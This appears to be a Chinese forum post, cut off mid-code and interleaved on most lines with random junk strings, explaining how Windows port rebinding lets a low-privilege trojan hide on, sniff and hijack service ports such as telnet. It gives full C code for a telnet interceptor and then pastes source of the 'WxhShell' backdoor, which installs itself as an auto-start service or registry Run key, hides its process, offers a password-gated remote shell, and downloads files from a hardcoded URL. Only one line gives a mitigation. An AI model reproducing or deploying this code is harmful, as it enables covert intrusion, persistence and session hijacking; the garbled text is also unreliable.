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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cd(GvX'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V!lZ\)  
E~]R2!9  
  saddr.sin_family = AF_INET; 9f hsIe  
;\]b T;#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MCS8y+QK  
;D:9+E<>a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7* yzEM  
EB2w0a5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4)@mSSfn.  
WU quN  
  这意味着什么?意味着可以进行如下的攻击: X $ s:>[H  
t=Xv;=daB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SZ,YS 4M  
|y0(Q V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CDP U\ZG  
{ OXFN;2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,q}ML TS i  
Z Uox Mm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \6R,Nq  
w8MG(Lq1"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @JD;k>  
QR%mj*@Wle  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2w["aVr =  
$wo?!gt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }T&iewk  
NYrQ$N"  
  #include v6>_ j L  
  #include | #47O  
  #include {u#;?u=|  
  #include    +kzo*zW$L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j@SQ~AS  
  int main() $npT[~U5  
  { Dp)=0<$y  
  WORD wVersionRequested; sg$rzT-S4  
  DWORD ret; gj*+\3KO@a  
  WSADATA wsaData; j!U-'zJ  
  BOOL val; Dpl A?  
  SOCKADDR_IN saddr; .P[ _<8  
  SOCKADDR_IN scaddr; thifRd$4  
  int err; :_g$.h%%  
  SOCKET s; yXHUJgjl/  
  SOCKET sc; KY51rw.  
  int caddsize; [n \2  
  HANDLE mt; ]Q>.HH  
  DWORD tid;   m 8aITd8  
  wVersionRequested = MAKEWORD( 2, 2 ); [8T^@YN  
  err = WSAStartup( wVersionRequested, &wsaData ); :9QZPsL  
  if ( err != 0 ) { 2zs73:z  
  printf("error!WSAStartup failed!\n"); 1Cgso`  
  return -1; v^d]~ !h  
  } CF?1R  
  saddr.sin_family = AF_INET; ]sE?ezu  
   C~o7X^[R\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j)<IRD^  
>zXsNeGQR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &6ZD136  
  saddr.sin_port = htons(23); BYVY)<v/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q,93nhs "  
  { *X+79vG:  
  printf("error!socket failed!\n"); }a/x._[s  
  return -1; J&.{7YF  
  } PH+S};Uxv  
  val = TRUE; B{'( L |  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g^}8:,F_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u>kN1kQ8  
  { YoBPLS`K  
  printf("error!setsockopt failed!\n"); VQ7*Z5[1  
  return -1; B9NWW6S  
  } 19E 8'@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tt0f-:#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @zU6t|mhz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .J)I | '  
6W]9$n\"?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ABD)}n=%c  
  { e?JW   
  ret=GetLastError(); 1~Oe=`{&  
  printf("error!bind failed!\n"); i{`FmrPO~  
  return -1; $a ]_w.@  
  } JM x>][xD  
  listen(s,2); pe]A5\4c  
  while(1) 60J;sGW  
  { H!5\v"]WB  
  caddsize = sizeof(scaddr); :6vm+5!  
  //接受连接请求 4^WpS/#4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E\as@pqo\p  
  if(sc!=INVALID_SOCKET) mOy^vMa  
  { ^c^#dpn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fcd3H$Na;  
  if(mt==NULL) bN]+_ mF  
  { '8!Y D?n  
  printf("Thread Creat Failed!\n"); g# Sl %Y  
  break; %s|}Fz->  
  } 5=v}W:^v.  
  } vms|x wb  
  CloseHandle(mt); $~VRza 8Q  
  } K 1 a\b"  
  closesocket(s); lij.N) E  
  WSACleanup(); bdC8zDD  
  return 0; mS(fgq6  
  }   b{L/4bu  
  DWORD WINAPI ClientThread(LPVOID lpParam) r:f[mk"-"A  
  { S- pV_Ff  
  SOCKET ss = (SOCKET)lpParam; K/i*w<aPb7  
  SOCKET sc; `6lr4Kk @R  
  unsigned char buf[4096]; V^3L3|k  
  SOCKADDR_IN saddr; ]x RM&=)<  
  long num; \m(VdE  
  DWORD val; K{|p~B  
  DWORD ret; &cxRD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y9uC&/_C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $c]fPt"i  
  saddr.sin_family = AF_INET; D^l%{IG   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $8 UUzk  
  saddr.sin_port = htons(23); 3Z5D)zuc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j27?w<  
  { `j,Yb]~s79  
  printf("error!socket failed!\n"); x3 q]I8q  
  return -1; ^@3sT,M,S  
  } sz:g,}~h  
  val = 100; fVF2-Rh=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n>ULRgiT:o  
  { WY?[,_4U  
  ret = GetLastError(); (.D~0a JU  
  return -1; #gRM i)(F  
  } l_o@miG/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }+.}J  
  { [x+FcXb  
  ret = GetLastError(); +S>j0m<*  
  return -1; Al}6q{E9+8  
  } `UD/}j@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /|tJ6T1LrB  
  { AK'[c+2[  
  printf("error!socket connect failed!\n"); W-mQjJ`,B  
  closesocket(sc); B:'J `M"N  
  closesocket(ss); 41`n1:-]  
  return -1; R=gb'  
  } lR )67a  
  while(1)  .E`\MtA  
  { |bTPtrT8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G`cHCP_n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZA0mz 65  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vHyC;4'  
  num = recv(ss,buf,4096,0); zHA!%>%'  
  if(num>0) R3x3]]D  
  send(sc,buf,num,0); qTdheX/  
  else if(num==0) TE3lK(f  
  break; d,+Hd2o^X  
  num = recv(sc,buf,4096,0); 5gYRwuf  
  if(num>0) &e E=<x  
  send(ss,buf,num,0); 0z1ifg&  
  else if(num==0) U' H$`$Ov  
  break; [<n2Uz7MP  
  } gG0!C))8  
  closesocket(ss); I'A_x$ib6  
  closesocket(sc); ojaws+(& y  
  return 0 ; >_[ 9t  
  } t^+ik1.  
);#JL0I  
X <f8,n  
========================================================== [xSF6  
B Wk/DVue  
下边附上一个代码,,WXhSHELL zr-*$1eu  
tXNm$Cq.|  
========================================================== Cn,d?H  
g;pcZ9o  
#include "stdafx.h" s'!Cp=xQF"  
J1( 9QN[w  
#include <stdio.h> S0zD"T  
#include <string.h> ]~9t Y n  
#include <windows.h> ZGexdc%  
#include <winsock2.h> wxKX{Bs  
#include <winsvc.h> ?qPo=~y01  
#include <urlmon.h> SheM|I~de  
MqW7cjg  
#pragma comment (lib, "Ws2_32.lib") TrlZ9?3#D  
#pragma comment (lib, "urlmon.lib") mWoAO@}Y  
o} J&E{Tk  
#define MAX_USER   100 // 最大客户端连接数 s^Y"'`+  
#define BUF_SOCK   200 // sock buffer $Q&lSVQ  
#define KEY_BUFF   255 // 输入 buffer K'L^;z6  
r+A{JHnN  
#define REBOOT     0   // 重启 Vc 1\i  
#define SHUTDOWN   1   // 关机 ;O,+2VzP%^  
7?#J~.d5  
#define DEF_PORT   5000 // 监听端口 5x5@t :  
#eoome2Q  
#define REG_LEN     16   // 注册表键长度 Si_ _8D  
#define SVC_LEN     80   // NT服务名长度 Z"/p,A9W9|  
uZNTHD  
// 从dll定义API `g(Y*uCp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U;YC}r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CSJdvxb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {#ZlM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *:Y%HAy*  
RSfQNc9Z  
// wxhshell配置信息 2GP=&K/A  
struct WSCFG { [)H&'5 +F  
  int ws_port;         // 监听端口 ,|3MG",@@h  
  char ws_passstr[REG_LEN]; // 口令 ^X=ar TE  
  int ws_autoins;       // 安装标记, 1=yes 0=no &*##bA"!B  
  char ws_regname[REG_LEN]; // 注册表键名 NSxoF3  
  char ws_svcname[REG_LEN]; // 服务名 PRx8I .  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2<i!{;u$qL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '=39+*6?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I@T8Iv=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z_$%.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C^O VB-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =O&%c%~q  
$mu^G t  
}; HHA<IZ#;,  
52%2R]G!  
// default Wxhshell configuration vmU@^2JSJ  
struct WSCFG wscfg={DEF_PORT, Z?6%;n^ 54  
    "xuhuanlingzhe", @3) (BpFe  
    1, qyZ" %Kz  
    "Wxhshell", J1,9kCO  
    "Wxhshell", (/z_Q{"N  
            "WxhShell Service", o2nv+fy W  
    "Wrsky Windows CmdShell Service", qU+t/C.  
    "Please Input Your Password: ", VrHv)lUr  
  1, m}C>ti`VD  
  "http://www.wrsky.com/wxhshell.exe", ap.K=-H  
  "Wxhshell.exe" rA3$3GLQ-  
    }; Jb0`42  
tRs [ YK  
// 消息定义模块 p)jk>j B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rV2WnAb[H&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -z-C*%~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *F+KqZ.2  
char *msg_ws_ext="\n\rExit."; g,Lq)'N;O  
char *msg_ws_end="\n\rQuit."; P2NQHX  
char *msg_ws_boot="\n\rReboot..."; eX?OYDDC0j  
char *msg_ws_poff="\n\rShutdown..."; Tl%`P_J)-S  
char *msg_ws_down="\n\rSave to "; EMh7z7}Rr  
ERUz3mjA/  
char *msg_ws_err="\n\rErr!"; !02`t4Zc-  
char *msg_ws_ok="\n\rOK!"; ~Y`ldL  
,`|3KE9  
char ExeFile[MAX_PATH]; y<?kzt  
int nUser = 0; 0g +7uGp:  
HANDLE handles[MAX_USER]; l}a)ZeR1  
int OsIsNt; AS!?q  
n4s+>|\M  
SERVICE_STATUS       serviceStatus; P9GN}GN%v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jfP*"uUK  
rxe >}ZO  
// 函数声明 ,-$LmECg  
int Install(void); ,g%0`SO  
int Uninstall(void); 4qO+_!x{)  
int DownloadFile(char *sURL, SOCKET wsh); 6w*dKInG[-  
int Boot(int flag); x/NfZ5e0X  
void HideProc(void); O(#)m>A  
int GetOsVer(void); &T+atL`N  
int Wxhshell(SOCKET wsl); %D UH@j  
void TalkWithClient(void *cs); Z 6t56"u  
int CmdShell(SOCKET sock); "fQ~uzg="  
int StartFromService(void); Pnk5mK$  
int StartWxhshell(LPSTR lpCmdLine); yg `j-9[8  
{}>0e:51  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f~t:L, \,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^?-:'<4q$  
Ye\rB\-  
// 数据结构和表定义 S{Kiy#ltWc  
SERVICE_TABLE_ENTRY DispatchTable[] = 61Bwb]\f/|  
{ }d[ kxo  
{wscfg.ws_svcname, NTServiceMain}, bbtGXfI+SB  
{NULL, NULL} dV*]f$wQ  
}; +dWDxguE{w  
Y4OPEo5o  
// 自我安装 e{h<g>7  
int Install(void) rDD:7*z  
{ HeK/7IAqp  
  char svExeFile[MAX_PATH]; [/,)  
  HKEY key; 8{|8G-Mi  
  strcpy(svExeFile,ExeFile); 0Be< X  
)s)I2Z+  
// 如果是win9x系统,修改注册表设为自启动 4qphA9i1  
if(!OsIsNt) { h(<,fg1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /vY(o1o x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _- [''(E  
  RegCloseKey(key);  H_B4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qPWP&k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }HL]yDO  
  RegCloseKey(key); 9"@\s$ OBk  
  return 0; q YC;cKv  
    } {i1| R"ta  
  } !xzeMVI  
} O6Vtu Ws%  
else { u9:`4b   
Yw22z #K  
// 如果是NT以上系统,安装为系统服务 Kh"?%ZIa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N@;?CKU  
if (schSCManager!=0) -<c=US  
{ jTf@l?|  
  SC_HANDLE schService = CreateService CHdX;'`*  
  ( aC^\(wp[  
  schSCManager, heltgRt  
  wscfg.ws_svcname, )bA;?i  
  wscfg.ws_svcdisp, gMv.V{vD  
  SERVICE_ALL_ACCESS, )}''L{k-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?RX3MUN  
  SERVICE_AUTO_START, #c!*</  
  SERVICE_ERROR_NORMAL, b[__1E9v'  
  svExeFile, %&$Tz1"  
  NULL, !5wIIS:FT  
  NULL, +y,T4^{  
  NULL, eiuSvyY  
  NULL, E0BMv/r8b  
  NULL jAGTD I  
  ); 'UkxS b  
  if (schService!=0) `^91%f  
  { BmBj7  
  CloseServiceHandle(schService); g-qP;vy@"q  
  CloseServiceHandle(schSCManager); &d9{k5/+\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c4!^nk]  
  strcat(svExeFile,wscfg.ws_svcname); osciZ'~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [N FFB96  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iF*:d  
  RegCloseKey(key); Om\o#{D  
  return 0; ylUb9KusOx  
    } d]`CxI]  
  } *EI6dD"  
  CloseServiceHandle(schSCManager); @(l^]9(V\  
} |D'4uN8\  
} lNNv|YiL  
sD<a+Lw}x  
return 1; ZjT,pOSyb  
} `+`Z7  
I\hh8abAp  
// 自我卸载 l_3`G-`2  
int Uninstall(void)  ,t}vz 7  
{ -_ I _W&  
  HKEY key; -)s qc P  
*RT>`,t/  
if(!OsIsNt) { 4pe'06:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { du+y5dw  
  RegDeleteValue(key,wscfg.ws_regname); J`^ag'  
  RegCloseKey(key); :WC2Ax7$2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <DpevoF  
  RegDeleteValue(key,wscfg.ws_regname); 1h(0IjG8  
  RegCloseKey(key); &9/O!3p)  
  return 0; yh^!'!I6u[  
  } Yi .u"sh]  
} BW-`t-,E;  
} [vge56h  
else { z|fmrwkN'$  
rMXN[,|v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xrlmKSPa  
if (schSCManager!=0) Ok{*fa.PK  
{ V=)_yIS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^F>cp ,x  
  if (schService!=0) F8hw #!Aq  
  { {-ZFp  
  if(DeleteService(schService)!=0) { CPgCjtY  
  CloseServiceHandle(schService); Yv hA_v  
  CloseServiceHandle(schSCManager); "b?v?V0%C  
  return 0; e}mD]O}  
  } K )[]fm  
  CloseServiceHandle(schService); "ZHW2l Mf  
  } _\=`6`b)  
  CloseServiceHandle(schSCManager); Gn&-X]Rrl  
} uC.K<jD%  
} '"y|p+=j:  
o5xAav"+>  
return 1; `))\}C@k  
} H|,Oswk~-  
 zG+R5:  
// 从指定url下载文件 4!$s}V=6  
int DownloadFile(char *sURL, SOCKET wsh) za#s/b$[  
{ "mX\&%i6\p  
  HRESULT hr; ~SQ?BoCI[  
char seps[]= "/"; N03G>fZ  
char *token; R,)}>X|<  
char *file; Xm+8  
char myURL[MAX_PATH]; 'iy*^A `Y  
char myFILE[MAX_PATH]; 0$_oT;{8  
YiYV>gaf"H  
strcpy(myURL,sURL); vK(i 9>;7  
  token=strtok(myURL,seps); lW<PoT  
  while(token!=NULL) (E/lIou  
  { Fd?"-  
    file=token; 17D"cP  
  token=strtok(NULL,seps); !)  S ?m  
  } ~n[d4qV&  
CQZgMY1{  
GetCurrentDirectory(MAX_PATH,myFILE); Mmj;'iYOwF  
strcat(myFILE, "\\"); Y^36>1.:  
strcat(myFILE, file); K6y :mJYp\  
  send(wsh,myFILE,strlen(myFILE),0); s?zAP O8Sz  
send(wsh,"...",3,0); /V=24\1Ky  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6}75iIKi  
  if(hr==S_OK) ";BlIovT=R  
return 0; 9V,!R{kO!  
else :*t"8;O[  
return 1; =81@ o,1w  
N+zKr/  
} : q ti  
ii%+jdi.  
// 系统电源模块 i.=w]S j  
int Boot(int flag) iP@ZM =&wz  
{ wx\v:A  
  HANDLE hToken; Z?pnj8h-&  
  TOKEN_PRIVILEGES tkp; _tSAI  
76>7=#m0u'  
  if(OsIsNt) { [v$0[IuY,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #BJG9DFP4`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7~9S 9  
    tkp.PrivilegeCount = 1; ygeDcnvR]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U`,0]"Qk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FW) x:2BG  
if(flag==REBOOT) { m.px>v-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9m|kgY# 4  
  return 0; p`nPhk,:b  
} ;2@BO-3K  
else { Qd=^S^}(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jAy^J(+  
  return 0; ak ->ML  
} z?[r  
  } BJgW,huLy  
  else { 53c0 E  
if(flag==REBOOT) { ?|WoIV.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $"dR SysB  
  return 0; uA,>a>xYI  
} +zrAG 24q  
else { AgOp.~*Z~V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @S|jC2^+h  
  return 0; H~GQ;PhRx  
} A 6OGs/:&  
} Na$Is'F &p  
b8$gx:aJ>$  
return 1; CSGz3uC2D  
} ^Y u6w\QM  
nt;haeJ  
// win9x进程隐藏模块 S{FROC~1R  
void HideProc(void) %YSpCI  
{ ?q(\=;Y  
%uJ<M-@r=u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !lxTX  
  if ( hKernel != NULL ) XO-Prs  
  { u$*56y   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fGw^:,B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B;R.#^@/  
    FreeLibrary(hKernel); =`*O1a  
  } ZiYm:$CJ  
"Vw m  
return; t<T[h2Wd  
} ( {1e%  
AjJURn0`,!  
// 获取操作系统版本 _<=S_ <$2  
int GetOsVer(void) "jTKSgv+q5  
{ nL$x|}XAcj  
  OSVERSIONINFO winfo; :ml2.vP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $e\h}A6  
  GetVersionEx(&winfo); 1z&Ly3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cTD!B% x  
  return 1; uC8L\UXk  
  else CbPuoOl  
  return 0; Oy<5>2^P  
} "z0zpHXek  
OkCQ?]  
// 客户端句柄模块 4l!@=qwn  
int Wxhshell(SOCKET wsl) ndjx|s)E  
{ 5Xl /L  
  SOCKET wsh; NE/m-ILw  
  struct sockaddr_in client; fLSXPvm  
  DWORD myID; ,*&G1|_6  
R+nMy=I%8  
  while(nUser<MAX_USER)  )LJnLo+  
{ hq:&wN 7Q  
  int nSize=sizeof(client); s@z}YH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); by'DQ 00  
  if(wsh==INVALID_SOCKET) return 1; is1's[  
;w6>"O$a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |\n@3cIK  
if(handles[nUser]==0) sf OHl  
  closesocket(wsh);  ] GHt"  
else [/ !;_b\X  
  nUser++; UPc<gB  
  } 6`0mta Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j4>a(  
e$u4vC~  
  return 0; c&X{dJWD   
} o\88t){/kB  
 *[r!  
// 关闭 socket tG8jFou  
void CloseIt(SOCKET wsh) ~go fQ  
{ yfj K2  
closesocket(wsh); &K43x&mFF  
nUser--; uQ=^~K:Z~  
ExitThread(0); )J_\tv  
} 26dUA~|KJ  
S@}1t4Ls:  
// 客户端请求句柄 "]m+z)lWd  
void TalkWithClient(void *cs) (x"BR  
{ r6;$1 K*0  
ZxG}ViS4I  
  SOCKET wsh=(SOCKET)cs; '8 fk+>M  
  char pwd[SVC_LEN]; $`8Ar,Xz`  
  char cmd[KEY_BUFF]; E,wVe[0)f  
char chr[1]; ZT[3aXS  
int i,j; YAL=!~6  
277ASCWLkU  
  while (nUser < MAX_USER) { UWZa|I~:J  
N7b1.]<  
if(wscfg.ws_passstr) { V~T@6S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J0 k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yMZHUd  
  //ZeroMemory(pwd,KEY_BUFF); QDTBWM%  
      i=0; 8>7RxSF  
  while(i<SVC_LEN) { b1gaj"]  
\.f}W_OF  
  // 设置超时 G/d4f?RU  
  fd_set FdRead; Q|,B*b  
  struct timeval TimeOut; +&X%<S W  
  FD_ZERO(&FdRead); -w;(cE  
  FD_SET(wsh,&FdRead); v}sY|p"  
  TimeOut.tv_sec=8;  Og2vGzD  
  TimeOut.tv_usec=0; p1D[YeF4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  cO\-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t ?h kL  
$s4Wkq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _TUk(Qe  
  pwd=chr[0]; TgTnqR@/  
  if(chr[0]==0xd || chr[0]==0xa) { E"%2)  
  pwd=0; aYn8 ^  
  break; hKNY+S})g  
  } ~"lJ'&J}  
  i++; v[TYc:L=  
    } ~1*A  
`gpQW~*R-;  
  // 如果是非法用户,关闭 socket ExSO|g]%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q \]Xm>  
} 5tv<8~:K  
6CC&Z>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -ZW3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .c^ ggy%  
l;"Ab?P\  
while(1) { *9 Q^5;y  
[EY`am8[  
  ZeroMemory(cmd,KEY_BUFF); nRb^<cZf  
BPqGJ7@  
      // 自动支持客户端 telnet标准   [U8$HQ+x  
  j=0; 0@5E|<A  
  while(j<KEY_BUFF) { 6yu]GK} es  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -h-oMqgu(  
  cmd[j]=chr[0]; ,&7Wa-vf  
  if(chr[0]==0xa || chr[0]==0xd) { G\/"}B:(  
  cmd[j]=0; mmEp'E  
  break; Q}*y$se!  
  } ]DvO:tM  
  j++; |2`"1gt  
    } H]\Zn%.#  
0rokR&Y-d  
  // 下载文件 9p@C4oen  
  if(strstr(cmd,"http://")) { ?/M_~e.P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m7=1%6FN3  
  if(DownloadFile(cmd,wsh)) #FYAV%pi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{ho*^b  
  else ?$z.K>S5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !r+IXuqV,!  
  } t` 8!AhOgc  
  else { }wwe}E-e  
\aP6_g:N}  
    switch(cmd[0]) { `7+j0kV)  
  9 L?;FY)_  
  // 帮助 %8)W0WMe  
  case '?': { Qn:kz*:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PzZZ>7_6S  
    break; Y&*x4&Lb  
  } G",.,Px  
  // 安装 K?u(1  
  case 'i': { +m,!e*g  
    if(Install()) ?@R")$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|XAlia  
    else 8I+d)(:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g):]'  
    break; ]Z4zF"@  
    } R^MiP|?ZH  
  // 卸载 C+K=[   
  case 'r': { .G>t72DpU  
    if(Uninstall()) =y%rG :!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] c}91  
    else JmOW~W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N;HIsOT}t  
    break; 9.M{M06;  
    } O\OE0[[  
  // 显示 wxhshell 所在路径 {SG>'KXZ  
  case 'p': { :Dl% _l  
    char svExeFile[MAX_PATH]; >_ X/[<  
    strcpy(svExeFile,"\n\r"); X1A<$Am1  
      strcat(svExeFile,ExeFile); Vf-5&S&9  
        send(wsh,svExeFile,strlen(svExeFile),0); Omag)U)IPh  
    break; {.k)2{  
    } y/_wx(2  
  // 重启 MZ#T^Y  
  case 'b': { \ Aq;Q?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zPZF|%|  
    if(Boot(REBOOT)) TSo:7&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (E($3t8  
    else { %85Icg  
    closesocket(wsh); W7UtA.2LT  
    ExitThread(0); FA>1x*;c  
    } 6J%iZ  
    break; en9en=n|  
    } _$/ +D:K  
  // 关机 IS]{}Y\3H  
  case 'd': { gbOCR1PBg  
